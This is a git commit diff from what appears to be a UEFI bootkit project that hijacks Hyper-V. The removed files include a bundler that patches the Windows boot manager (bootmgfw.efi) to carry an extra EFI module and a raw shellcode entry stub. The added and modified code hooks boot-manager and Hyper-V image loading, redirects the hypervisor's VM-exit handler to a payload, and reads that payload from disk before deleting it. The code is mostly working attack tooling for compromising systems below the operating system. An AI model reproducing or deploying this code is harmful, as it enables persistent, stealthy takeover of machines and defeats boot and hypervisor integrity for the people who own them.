v1.0 done. :)

merge-requests/1/merge
xerox 4 years ago
parent cc98b14a53
commit 4f46cd8ab3

@ -1,31 +0,0 @@

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@ -1,92 +0,0 @@
#include "bundler.h"
namespace bundler
{
std::pair<std::uint32_t, std::uint32_t> add_section(std::vector<std::uint8_t>& image, const char* name, std::size_t size, std::uint32_t protect)
{
auto align = [](std::uint32_t size, std::uint32_t align, std::uint32_t addr) -> std::uint32_t
{
if (!(size % align))
return addr + size;
return addr + (size / align + 1) * align;
};
auto section_header = reinterpret_cast<PIMAGE_SECTION_HEADER>(
((std::uint64_t)&NT_HEADER(image.data())->OptionalHeader) +
NT_HEADER(image.data())->FileHeader.SizeOfOptionalHeader);
auto new_section = &section_header[NT_HEADER(image.data())->FileHeader.NumberOfSections];
memset(new_section, NULL, sizeof(IMAGE_SECTION_HEADER));
memcpy(new_section->Name, name, 8);
new_section->Characteristics = protect;
section_header[NT_HEADER(image.data())->FileHeader.NumberOfSections].Misc.VirtualSize =
align(size, NT_HEADER(image.data())->OptionalHeader.SectionAlignment, NULL);
new_section->VirtualAddress = align(section_header[
NT_HEADER(image.data())->FileHeader.NumberOfSections - 1].Misc.VirtualSize,
NT_HEADER(image.data())->OptionalHeader.SectionAlignment, section_header[
NT_HEADER(image.data())->FileHeader.NumberOfSections - 1].VirtualAddress);
new_section->SizeOfRawData =
align(size, NT_HEADER(image.data())->OptionalHeader.FileAlignment, 0);
new_section->PointerToRawData =
align(section_header[NT_HEADER(image.data())->FileHeader.NumberOfSections - 1].SizeOfRawData,
NT_HEADER(image.data())->OptionalHeader.FileAlignment, section_header[NT_HEADER(image.data())->
FileHeader.NumberOfSections - 1].PointerToRawData);
NT_HEADER(image.data())->OptionalHeader.SizeOfImage = section_header[
NT_HEADER(image.data())->FileHeader.NumberOfSections].VirtualAddress +
section_header[NT_HEADER(image.data())->FileHeader.NumberOfSections].Misc.VirtualSize;
++NT_HEADER(image.data())->FileHeader.NumberOfSections;
auto raw_data_rva = new_section->PointerToRawData;
auto virt_data_rva = new_section->VirtualAddress;
auto raw_data_size = new_section->SizeOfRawData;
image.resize(raw_data_rva + raw_data_size);
memset(image.data() + raw_data_rva, NULL, raw_data_size);
return { raw_data_rva, virt_data_rva };
}
// module_base is .efi section base in this case...
std::uint32_t map_module(std::uint8_t* module_base, std::vector<std::uint8_t>& map_from)
{
// copy nt headers...
memcpy(module_base, map_from.data(), NT_HEADER(map_from.data())->OptionalHeader.SizeOfHeaders);
auto sections = reinterpret_cast<PIMAGE_SECTION_HEADER>(
(std::uint8_t*)&NT_HEADER(map_from.data())->OptionalHeader +
NT_HEADER(map_from.data())->FileHeader.SizeOfOptionalHeader);
// copy sections...
for (auto i = 0u; i < NT_HEADER(map_from.data())->FileHeader.NumberOfSections; ++i)
{
auto section = &sections[i];
memcpy(module_base + section->VirtualAddress, map_from.data() + section->PointerToRawData, section->SizeOfRawData);
}
return NT_HEADER(map_from.data())->OptionalHeader.AddressOfEntryPoint;
}
void bundle(std::vector<std::uint8_t>& bundle_into, std::vector<std::uint8_t>& bundle_module)
{
auto [trp_section_disk, trp_section_virt] = add_section(bundle_into, ".trp", sizeof shellcode::stub, SECTION_RWX);
auto [mod_section_disk, mod_section_virt] = add_section(bundle_into, ".efi", bundle_module.size(), SECTION_RWX);
bundler::map_module(bundle_into.data() + mod_section_disk, bundle_module);
std::printf("[+] added .trp section at rva -> 0x%x, size -> 0x%x\n", trp_section_virt, sizeof shellcode::stub);
std::printf("[+] added .efi section at rva -> 0x%x, size -> 0x%x\n", mod_section_virt, bundle_module.size());
// setup stub shellcode...
*reinterpret_cast<std::int32_t*>(&shellcode::stub[25]) = mod_section_virt - trp_section_virt;
*reinterpret_cast<std::int32_t*>(&shellcode::stub[45]) = trp_section_virt;
*reinterpret_cast<std::int32_t*>(&shellcode::stub[75]) = NT_HEADER(bundle_into.data())->OptionalHeader.AddressOfEntryPoint;
memcpy(bundle_into.data() + trp_section_disk, shellcode::stub, sizeof shellcode::stub);
std::printf("[+] added stub code to .trp section...\n");
// set entry point to .trp section...
NT_HEADER(bundle_into.data())->OptionalHeader.AddressOfEntryPoint = trp_section_virt;
std::printf("[+] changed base modules entry point to -> (.trp section base) 0x%x\n", trp_section_virt);
}
}

@ -1,15 +0,0 @@
#pragma once
#include "shellcode.h"
#define SECTION_RWX ((IMAGE_SCN_MEM_WRITE | \
IMAGE_SCN_CNT_CODE | \
IMAGE_SCN_CNT_UNINITIALIZED_DATA | \
IMAGE_SCN_MEM_EXECUTE | \
IMAGE_SCN_CNT_INITIALIZED_DATA | \
IMAGE_SCN_MEM_READ))
namespace bundler
{
std::pair<std::uint32_t, std::uint32_t> add_section(std::vector<std::uint8_t>& image, const char* name, std::size_t size, std::uint32_t protect);
std::uint32_t map_module(std::uint8_t* module_base, std::vector<std::uint8_t>& map_from);
void bundle(std::vector<std::uint8_t>& bundle_into, std::vector<std::uint8_t>& bundle_module);
}

@ -1,38 +0,0 @@
#include "bundler.h"
int __cdecl main(int argc, char** argv)
{
if (argc < 2)
{
std::printf("[!] invalid amount of parameters\n");
return -1;
}
std::vector<std::uint8_t> efi_module;
std::vector<std::uint8_t> bootmgfw;
impl::open_binary_file(argv[1], bootmgfw);
impl::open_binary_file(argv[2], efi_module);
if (efi_module.empty() || bootmgfw.empty())
{
std::printf("[!] unable to load efi module(s)...\n");
return -1;
}
efi_module.resize(NT_HEADER(efi_module.data())->OptionalHeader.SizeOfImage);
std::printf("bundling efi module, size -> 0x%x\n",
NT_HEADER(efi_module.data())->OptionalHeader.SizeOfImage);
bootmgfw.resize(NT_HEADER(bootmgfw.data())->OptionalHeader.SizeOfImage);
std::printf("bundling module into bootmgfw, size before patch -> 0x%x\n",
NT_HEADER(bootmgfw.data())->OptionalHeader.SizeOfImage);
bundler::bundle(bootmgfw, efi_module);
std::ofstream new_file("result.efi", std::ios::binary);
new_file.write((char*)bootmgfw.data(), bootmgfw.size());
new_file.close();
std::printf("bundled modules together....\n");
std::getchar();
}

@ -1,57 +0,0 @@
#include "shellcode.h"
namespace shellcode
{
void* entry_stub(void* a, void* b)
{
// 0xDEADBEEF is replaced at runtime...
auto module_base = reinterpret_cast<std::uintptr_t>(&entry_stub) + 0xDEADBEEF;
auto bootmgfw_base = reinterpret_cast<std::uintptr_t>(&entry_stub) - 0xDEADBEEF;
NT_HEADER(bootmgfw_base)->OptionalHeader.AddressOfEntryPoint = 0xDEADBEEF;
// fix relocs of the module in .efi section...
auto base_reloc_dir = &NT_HEADER(module_base)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (base_reloc_dir->VirtualAddress)
{
auto reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(module_base + base_reloc_dir->VirtualAddress);
for (auto current_size = 0u; current_size < base_reloc_dir->Size; )
{
std::uint32_t reloc_count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(std::uint16_t);
auto reloc_data = reinterpret_cast<std::uint16_t*>((std::uint8_t*)reloc + sizeof(IMAGE_BASE_RELOCATION));
auto reloc_base = reinterpret_cast<std::uint8_t*>(module_base) + reloc->VirtualAddress;
for (auto i = 0u; i < reloc_count; ++i, ++reloc_data)
{
std::uint16_t data = *reloc_data;
std::uint16_t type = data >> 12;
std::uint16_t offset = data & 0xFFF;
switch (type)
{
case IMAGE_REL_BASED_ABSOLUTE:
break;
case IMAGE_REL_BASED_DIR64:
{
auto rva = reinterpret_cast<std::uintptr_t*>(reloc_base + offset);
*rva = module_base + (*rva - NT_HEADER(module_base)->OptionalHeader.ImageBase);
break;
}
default:
break;
}
}
current_size += reloc->SizeOfBlock;
reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(reloc_data);
}
}
// call our entry...
reinterpret_cast<void(__fastcall*)(void*, void*)>(
module_base + NT_HEADER(module_base)->OptionalHeader.AddressOfEntryPoint)(a, b);
// call the original entry...
return reinterpret_cast<void* (__fastcall*)(void*, void*)>(
bootmgfw_base + NT_HEADER(bootmgfw_base)->OptionalHeader.AddressOfEntryPoint)(a, b);
}
}

@ -1,76 +0,0 @@
#pragma once
#include <cstdint>
#include <cstddef>
#include "utils.h"
namespace shellcode
{
void* entry_stub(void* a, void* b);
// void* entry_stub(void* a, void* b)
// + 75, Real entry point RVA
// + 25, RVA to bundled module base... (gunna be a section base address)
// + 45, RVA to bootmgfw base address... (number is positive, assembly subtracts this number)
inline char stub[] =
{
0x48, 0x89, 0x54, 0x24, 0x10, 0x48, 0x89, 0x4C, 0x24, 0x08,
0x48, 0x81, 0xEC, 0x98, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x05,
0xE8, 0xFF, 0xFF, 0xFF, 0xB9, 0xEF, 0xBE, 0xAD, 0xDE, 0x48,
0x03, 0xC1, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x8D, 0x05,
0xD4, 0xFF, 0xFF, 0xFF, 0xB9, 0xEF, 0xBE, 0xAD, 0xDE, 0x48,
0x2B, 0xC1, 0x48, 0x89, 0x44, 0x24, 0x48, 0x48, 0x8B, 0x44,
0x24, 0x48, 0x48, 0x63, 0x40, 0x3C, 0x48, 0x8B, 0x4C, 0x24,
0x48, 0xC7, 0x44, 0x01, 0x28, 0xEF, 0xBE, 0xAD, 0xDE, 0x48,
0x8B, 0x44, 0x24, 0x28, 0x48, 0x63, 0x40, 0x3C, 0x48, 0x8B,
0x4C, 0x24, 0x28, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0xB9,
0x08, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC9, 0x05, 0x48, 0x8D,
0x84, 0x08, 0x88, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24,
0x60, 0x48, 0x8B, 0x44, 0x24, 0x60, 0x83, 0x38, 0x00, 0x0F,
0x84, 0x4E, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x60,
0x8B, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x28, 0x48, 0x03, 0xC8,
0x48, 0x8B, 0xC1, 0x48, 0x89, 0x44, 0x24, 0x40, 0xC7, 0x44,
0x24, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24,
0x60, 0x8B, 0x40, 0x04, 0x39, 0x44, 0x24, 0x3C, 0x0F, 0x83,
0x1D, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x40, 0x8B,
0x40, 0x04, 0x48, 0x83, 0xE8, 0x08, 0x33, 0xD2, 0xB9, 0x02,
0x00, 0x00, 0x00, 0x48, 0xF7, 0xF1, 0x48, 0x89, 0x44, 0x24,
0x70, 0x48, 0x8B, 0x44, 0x24, 0x40, 0x48, 0x83, 0xC0, 0x08,
0x48, 0x89, 0x44, 0x24, 0x50, 0x48, 0x8B, 0x44, 0x24, 0x40,
0x8B, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x28, 0x48, 0x03, 0xC8,
0x48, 0x8B, 0xC1, 0x48, 0x89, 0x44, 0x24, 0x78, 0xC7, 0x44,
0x24, 0x38, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x18, 0x8B, 0x44,
0x24, 0x38, 0xFF, 0xC0, 0x89, 0x44, 0x24, 0x38, 0x48, 0x8B,
0x44, 0x24, 0x50, 0x48, 0x83, 0xC0, 0x02, 0x48, 0x89, 0x44,
0x24, 0x50, 0x8B, 0x44, 0x24, 0x38, 0x48, 0x3B, 0x44, 0x24,
0x70, 0x0F, 0x83, 0x89, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x44,
0x24, 0x50, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x44, 0x24, 0x20,
0x0F, 0xB7, 0x44, 0x24, 0x20, 0xC1, 0xF8, 0x0C, 0x66, 0x89,
0x44, 0x24, 0x30, 0x0F, 0xB7, 0x44, 0x24, 0x20, 0x25, 0xFF,
0x0F, 0x00, 0x00, 0x66, 0x89, 0x44, 0x24, 0x34, 0x0F, 0xB7,
0x44, 0x24, 0x30, 0x89, 0x44, 0x24, 0x58, 0x83, 0x7C, 0x24,
0x58, 0x0A, 0x74, 0x02, 0xEB, 0x49, 0x0F, 0xB7, 0x44, 0x24,
0x34, 0x48, 0x8B, 0x4C, 0x24, 0x78, 0x48, 0x03, 0xC8, 0x48,
0x8B, 0xC1, 0x48, 0x89, 0x44, 0x24, 0x68, 0x48, 0x8B, 0x44,
0x24, 0x28, 0x48, 0x63, 0x40, 0x3C, 0x48, 0x8B, 0x4C, 0x24,
0x68, 0x48, 0x8B, 0x54, 0x24, 0x28, 0x48, 0x8B, 0x44, 0x02,
0x30, 0x48, 0x8B, 0x09, 0x48, 0x2B, 0xC8, 0x48, 0x8B, 0xC1,
0x48, 0x8B, 0x4C, 0x24, 0x28, 0x48, 0x03, 0xC8, 0x48, 0x8B,
0xC1, 0x48, 0x8B, 0x4C, 0x24, 0x68, 0x48, 0x89, 0x01, 0xE9,
0x50, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x44, 0x24, 0x40, 0x8B,
0x40, 0x04, 0x8B, 0x4C, 0x24, 0x3C, 0x03, 0xC8, 0x8B, 0xC1,
0x89, 0x44, 0x24, 0x3C, 0x48, 0x8B, 0x44, 0x24, 0x50, 0x48,
0x89, 0x44, 0x24, 0x40, 0xE9, 0xD1, 0xFE, 0xFF, 0xFF, 0x48,
0x8B, 0x44, 0x24, 0x28, 0x48, 0x63, 0x40, 0x3C, 0x48, 0x8B,
0x4C, 0x24, 0x28, 0x8B, 0x44, 0x01, 0x28, 0x48, 0x8B, 0x4C,
0x24, 0x28, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89,
0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x94, 0x24,
0xA8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0xA0, 0x00,
0x00, 0x00, 0xFF, 0x94, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48,
0x8B, 0x44, 0x24, 0x48, 0x48, 0x63, 0x40, 0x3C, 0x48, 0x8B,
0x4C, 0x24, 0x48, 0x8B, 0x44, 0x01, 0x28, 0x48, 0x8B, 0x4C,
0x24, 0x48, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89,
0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x94, 0x24,
0xA8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x8C, 0x24, 0xA0, 0x00,
0x00, 0x00, 0xFF, 0x94, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48,
0x81, 0xC4, 0x98, 0x00, 0x00, 0x00, 0xC3
};
}

@ -1,84 +0,0 @@
#pragma once
#include <windows.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <filesystem>
#include <string_view>
#include <iterator>
#include <fstream>
#include <string>
#include <map>
#include <vector>
#include <ntstatus.h>
#include <winternl.h>
#include <array>
#include <algorithm>
#include <string_view>
#define NT_HEADER(x) reinterpret_cast<PIMAGE_NT_HEADERS>( std::uint64_t(x) + reinterpret_cast<PIMAGE_DOS_HEADER>(x)->e_lfanew )
namespace impl
{
using uq_handle = std::unique_ptr<void, decltype(&CloseHandle)>;
__forceinline std::uint32_t get_process_id(const std::wstring_view process_name)
{
// open a system snapshot of all loaded processes
uq_handle snap_shot{ CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0), &CloseHandle };
if (snap_shot.get() == INVALID_HANDLE_VALUE)
{
return 0;
}
PROCESSENTRY32W process_entry{ sizeof(PROCESSENTRY32W) };
// enumerate through processes
for (Process32FirstW(snap_shot.get(), &process_entry); Process32NextW(snap_shot.get(), &process_entry); )
if (std::wcscmp(process_name.data(), process_entry.szExeFile) == 0)
return process_entry.th32ProcessID;
return 0;
}
__forceinline void open_binary_file(const std::string& file, std::vector<std::uint8_t>& data)
{
std::ifstream fstr(file, std::ios::binary);
fstr.unsetf(std::ios::skipws);
fstr.seekg(0, std::ios::end);
const auto file_size = fstr.tellg();
fstr.seekg(NULL, std::ios::beg);
data.reserve(static_cast<std::uint32_t>(file_size));
data.insert(data.begin(), std::istream_iterator<std::uint8_t>(fstr), std::istream_iterator<std::uint8_t>());
}
__forceinline bool enable_privilege(const std::wstring_view privilege_name)
{
HANDLE token_handle = nullptr;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
{;
return false;
}
LUID luid{};
if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid))
{
return false;
}
TOKEN_PRIVILEGES token_state{};
token_state.PrivilegeCount = 1;
token_state.Privileges[0].Luid = luid;
token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
{
return false;
}
CloseHandle(token_handle);
return true;
}
}

@ -2,8 +2,9 @@
#include <intrin.h> #include <intrin.h>
#include <xmmintrin.h> #include <xmmintrin.h>
#include <cstddef> #include <cstddef>
#define PORT_NUM 0x2F8 #define PORT_NUM 0x2F8
#define WINVER 2004 #define WINVER 1511
#define DBG_PRINT(arg) \ #define DBG_PRINT(arg) \
__outbytestring(PORT_NUM, (unsigned char*)arg, sizeof arg); __outbytestring(PORT_NUM, (unsigned char*)arg, sizeof arg);
@ -50,5 +51,4 @@ typedef struct _voyager_t
uintptr_t record_size; uintptr_t record_size;
} voyager_t, *pvoyager_t; } voyager_t, *pvoyager_t;
#pragma pack(pop) #pragma pack(pop)
__declspec(dllexport) inline voyager_t voyager_context; __declspec(dllexport) inline voyager_t voyager_context;

@ -131,6 +131,49 @@ EFI_STATUS EFIAPI RestoreBootMgfw(VOID)
return EFI_ABORTED; return EFI_ABORTED;
} }
EFI_DEVICE_PATH* EFIAPI GetBootMgfwPath(VOID)
{
UINTN HandleCount = NULL;
EFI_STATUS Result;
EFI_HANDLE* Handles = NULL;
EFI_DEVICE_PATH* DevicePath = NULL;
EFI_FILE_HANDLE VolumeHandle;
EFI_FILE_HANDLE BootMgfwHandle;
EFI_FILE_IO_INTERFACE* FileSystem = NULL;
if (EFI_ERROR((Result = gBS->LocateHandleBuffer(ByProtocol, &gEfiSimpleFileSystemProtocolGuid, NULL, &HandleCount, &Handles))))
{
Print(L"error getting file system handles -> 0x%p\n", Result);
return DevicePath;
}
for (UINT32 Idx = 0u; Idx < HandleCount && !FileSystem; ++Idx)
{
if (EFI_ERROR((Result = gBS->OpenProtocol(Handles[Idx], &gEfiSimpleFileSystemProtocolGuid, (VOID**)&FileSystem, gImageHandle, NULL, EFI_OPEN_PROTOCOL_GET_PROTOCOL))))
{
Print(L"error opening protocol -> 0x%p\n", Result);
return DevicePath;
}
if (EFI_ERROR((Result = FileSystem->OpenVolume(FileSystem, &VolumeHandle))))
{
Print(L"error opening file system -> 0x%p\n", Result);
return DevicePath;
}
if (!EFI_ERROR(VolumeHandle->Open(VolumeHandle, &BootMgfwHandle, WINDOWS_BOOTMGFW_PATH, EFI_FILE_MODE_READ, EFI_FILE_READ_ONLY)))
DevicePath = FileDevicePath(Handles[Idx], WINDOWS_BOOTMGFW_PATH);
VolumeHandle->Close(BootMgfwHandle);
if (EFI_ERROR((Result = gBS->CloseProtocol(Handles[Idx], &gEfiSimpleFileSystemProtocolGuid, gImageHandle, NULL))))
{
Print(L"error closing protocol -> 0x%p\n", Result);
return DevicePath;
}
}
return DevicePath;
}
EFI_STATUS EFIAPI InstallBootMgfwHooks(EFI_HANDLE ImageHandle) EFI_STATUS EFIAPI InstallBootMgfwHooks(EFI_HANDLE ImageHandle)
{ {
EFI_STATUS Result = EFI_SUCCESS; EFI_STATUS Result = EFI_SUCCESS;

@ -24,5 +24,6 @@ static_assert(sizeof(START_BOOT_APPLICATION_SIG) == sizeof(START_BOOT_APPLICATIO
extern SHITHOOK BootMgfwShitHook; extern SHITHOOK BootMgfwShitHook;
typedef EFI_STATUS(EFIAPI* IMG_ARCH_START_BOOT_APPLICATION)(VOID*, VOID*, UINT32, UINT8, VOID*); typedef EFI_STATUS(EFIAPI* IMG_ARCH_START_BOOT_APPLICATION)(VOID*, VOID*, UINT32, UINT8, VOID*);
EFI_STATUS EFIAPI RestoreBootMgfw(VOID); EFI_STATUS EFIAPI RestoreBootMgfw(VOID);
EFI_DEVICE_PATH* EFIAPI GetBootMgfwPath(VOID);
EFI_STATUS EFIAPI InstallBootMgfwHooks(EFI_HANDLE ImageHandle); EFI_STATUS EFIAPI InstallBootMgfwHooks(EFI_HANDLE ImageHandle);
EFI_STATUS EFIAPI ArchStartBootApplicationHook(VOID* AppEntry, VOID* ImageBase, UINT32 ImageSize, UINT8 BootOption, VOID* ReturnArgs); EFI_STATUS EFIAPI ArchStartBootApplicationHook(VOID* AppEntry, VOID* ImageBase, UINT32 ImageSize, UINT8 BootOption, VOID* ReturnArgs);

@ -33,7 +33,7 @@ EFI_STATUS EFIAPI HvBlImgLoadPEImageFromSourceBuffer(VOID* a1, VOID* a2, VOID* a
{ {
if (!AsciiStrCmp(&pSection->Name, ".reloc")) if (!AsciiStrCmp(&pSection->Name, ".reloc"))
{ {
voyager_t VoyagerData; VOYAGER_T VoyagerData;
MakeVoyagerData MakeVoyagerData
( (
&VoyagerData, &VoyagerData,
@ -54,6 +54,9 @@ EFI_STATUS EFIAPI HvBlImgLoadPEImageFromSourceBuffer(VOID* a1, VOID* a2, VOID* a
VmExitHook VmExitHook
); );
gBS->SetMem(PayLoad, sizeof PayLoad, NULL);
gBS->FreePool(PayLoad);
pSection->Characteristics = SECTION_RWX; pSection->Characteristics = SECTION_RWX;
pSection->Misc.VirtualSize += PayLoadSize(); pSection->Misc.VirtualSize += PayLoadSize();
DBG_PRINT("VmExitHook (PayLoad Entry Point) -> 0x%p\n", VmExitHook); DBG_PRINT("VmExitHook (PayLoad Entry Point) -> 0x%p\n", VmExitHook);
@ -95,7 +98,7 @@ EFI_STATUS EFIAPI HvBlImgLoadPEImageEx(VOID* DeviceId, VOID* MemoryType, CHAR16*
{ {
if (!AsciiStrCmp(&pSection->Name, ".reloc")) if (!AsciiStrCmp(&pSection->Name, ".reloc"))
{ {
voyager_t VoyagerData; VOYAGER_T VoyagerData;
MakeVoyagerData MakeVoyagerData
( (
&VoyagerData, &VoyagerData,
@ -116,6 +119,9 @@ EFI_STATUS EFIAPI HvBlImgLoadPEImageEx(VOID* DeviceId, VOID* MemoryType, CHAR16*
VmExitHook VmExitHook
); );
gBS->SetMem(PayLoad, sizeof PayLoad, NULL);
gBS->FreePool(PayLoad);
pSection->Characteristics = SECTION_RWX; pSection->Characteristics = SECTION_RWX;
pSection->Misc.VirtualSize += PayLoadSize(); pSection->Misc.VirtualSize += PayLoadSize();
DBG_PRINT("VmExitHook (PayLoad Entry Point) -> 0x%p\n", VmExitHook); DBG_PRINT("VmExitHook (PayLoad Entry Point) -> 0x%p\n", VmExitHook);

@ -1,6 +1,6 @@
#include "Hvix64.h" #include "Hvix64.h"
VOID* MapModule(pvoyager_t VoyagerData, UINT8* ImageBase) VOID* MapModule(PVOYAGER_T VoyagerData, UINT8* ImageBase)
{ {
EFI_IMAGE_DOS_HEADER* dosHeaders = (EFI_IMAGE_DOS_HEADER*)ImageBase; EFI_IMAGE_DOS_HEADER* dosHeaders = (EFI_IMAGE_DOS_HEADER*)ImageBase;
if (dosHeaders->e_magic != EFI_IMAGE_DOS_SIGNATURE) if (dosHeaders->e_magic != EFI_IMAGE_DOS_SIGNATURE)
@ -32,7 +32,7 @@ VOID* MapModule(pvoyager_t VoyagerData, UINT8* ImageBase)
{ {
if (AsciiStrStr(VoyagerData->ModuleBase + Name[i], "voyager_context")) if (AsciiStrStr(VoyagerData->ModuleBase + Name[i], "voyager_context"))
{ {
*(voyager_t*)(VoyagerData->ModuleBase + Address[Ordinal[i]]) = *VoyagerData; *(VOYAGER_T*)(VoyagerData->ModuleBase + Address[Ordinal[i]]) = *VoyagerData;
break; break;
} }
} }
@ -79,7 +79,7 @@ VOID* MapModule(pvoyager_t VoyagerData, UINT8* ImageBase)
VOID MakeVoyagerData VOID MakeVoyagerData
( (
pvoyager_t VoyagerData, PVOYAGER_T VoyagerData,
VOID* HypervAlloc, VOID* HypervAlloc,
UINT64 HypervAllocSize, UINT64 HypervAllocSize,
VOID* PayLoadBase, VOID* PayLoadBase,

@ -11,7 +11,7 @@ static_assert(sizeof(VMEXIT_HANDLER_SIG) == 26, "signature is invalid length!");
// AllocBase is the base address of the extra memory allocated below where hyper-v is // AllocBase is the base address of the extra memory allocated below where hyper-v is
// AllocSize is the size of the extra allocated memory... This size == module size... // AllocSize is the size of the extra allocated memory... This size == module size...
// //
VOID* MapModule(pvoyager_t VoyagerData, UINT8* ImageBase); VOID* MapModule(PVOYAGER_T VoyagerData, UINT8* ImageBase);
// //
// sig scan hv.exe for vmexit call and replace the relative call (RVA) with // sig scan hv.exe for vmexit call and replace the relative call (RVA) with
@ -26,7 +26,7 @@ VOID* HookVmExit(VOID* HypervBase, VOID* HypervSize, VOID* VmExitHook);
// //
VOID MakeVoyagerData VOID MakeVoyagerData
( (
pvoyager_t VoyagerData, PVOYAGER_T VoyagerData,
VOID* HypervAlloc, VOID* HypervAlloc,
UINT64 HypervAllocSize, UINT64 HypervAllocSize,
VOID* PayLoadBase, VOID* PayLoadBase,

@ -1,5 +1,9 @@
#include "PayLoad.h" #include "PayLoad.h"
// this can also just be set at compile time if you want too, but for PoC im going
// to read the payload from disk and delete it after...
VOID* PayLoad = NULL;
UINT32 PayLoadSize(VOID) UINT32 PayLoadSize(VOID)
{ {
EFI_IMAGE_DOS_HEADER* RecordDosImageHeader = PayLoad; EFI_IMAGE_DOS_HEADER* RecordDosImageHeader = PayLoad;
@ -26,262 +30,91 @@ VOID* PayLoadEntry(VOID* ModuleBase)
return (UINT64)ModuleBase + RecordNtHeaders->OptionalHeader.AddressOfEntryPoint; return (UINT64)ModuleBase + RecordNtHeaders->OptionalHeader.AddressOfEntryPoint;
} }
unsigned char PayLoad[3072] = EFI_STATUS LoadPayLoadFromDisk(VOID** PayLoadBufferPtr)
{
EFI_STATUS Result = EFI_SUCCESS;
UINTN HandleCount = NULL;
EFI_HANDLE* Handles = NULL;
EFI_FILE_HANDLE VolumeHandle;
EFI_FILE_HANDLE PayLoadFileHandle;
EFI_DEVICE_PATH* PayLoadDevicePath = NULL;
EFI_FILE_IO_INTERFACE* FileSystem = NULL;
EFI_FILE_PROTOCOL* PayLoadFile = NULL;
if (EFI_ERROR((Result = gBS->LocateHandleBuffer(ByProtocol, &gEfiSimpleFileSystemProtocolGuid, NULL, &HandleCount, &Handles))))
{
Print(L"error getting file system handles -> 0x%p\n", Result);
return Result;
}
for (UINT32 Idx = 0u; Idx < HandleCount; ++Idx)
{
if (EFI_ERROR((Result = gBS->OpenProtocol(Handles[Idx], &gEfiSimpleFileSystemProtocolGuid, (VOID**)&FileSystem, gImageHandle, NULL, EFI_OPEN_PROTOCOL_GET_PROTOCOL))))
{
Print(L"error opening protocol -> 0x%p\n", Result);
return Result;
}
if (EFI_ERROR((Result = FileSystem->OpenVolume(FileSystem, &VolumeHandle))))
{
Print(L"error opening file system -> 0x%p\n", Result);
return Result;
}
if (!EFI_ERROR((Result = VolumeHandle->Open(VolumeHandle, &PayLoadFileHandle, PAYLOAD_PATH, EFI_FILE_MODE_READ, EFI_FILE_READ_ONLY))))
{
VolumeHandle->Close(VolumeHandle);
PayLoadDevicePath = FileDevicePath(Handles[Idx], PAYLOAD_PATH);
if (EFI_ERROR((Result = EfiOpenFileByDevicePath(&PayLoadDevicePath, &PayLoadFile, EFI_FILE_MODE_WRITE | EFI_FILE_MODE_READ, NULL))))
{
Print(L"failed to open payload file... reason -> %r\n", Result);
return Result;
}
EFI_FILE_INFO* FileInfoPtr = NULL;
UINTN FileInfoSize = NULL;
if (EFI_ERROR((Result = PayLoadFile->GetInfo(PayLoadFile, &gEfiFileInfoGuid, &FileInfoSize, NULL))))
{
if (Result == EFI_BUFFER_TOO_SMALL)
{
gBS->AllocatePool(EfiBootServicesData, FileInfoSize, &FileInfoPtr);
if (EFI_ERROR(Result = PayLoadFile->GetInfo(PayLoadFile, &gEfiFileInfoGuid, &FileInfoSize, FileInfoPtr)))
{
Print(L"get backup file information failed... reason -> %r\n", Result);
return Result;
}
}
else
{
Print(L"Failed to get file information... reason -> %r\n", Result);
return Result;
}
}
VOID* PayLoadBuffer = NULL;
UINTN PayLoadSize = FileInfoPtr->FileSize;
gBS->AllocatePool(EfiBootServicesData, FileInfoPtr->FileSize, &PayLoadBuffer);
if (EFI_ERROR((Result = PayLoadFile->Read(PayLoadFile, &PayLoadSize, PayLoadBuffer))))
{ {
0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, Print(L"Failed to read payload file into buffer... reason -> %r\n", Result);
0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, return Result;
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, }
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, if (EFI_ERROR((Result = PayLoadFile->Delete(PayLoadFile))))
0xB8, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, {
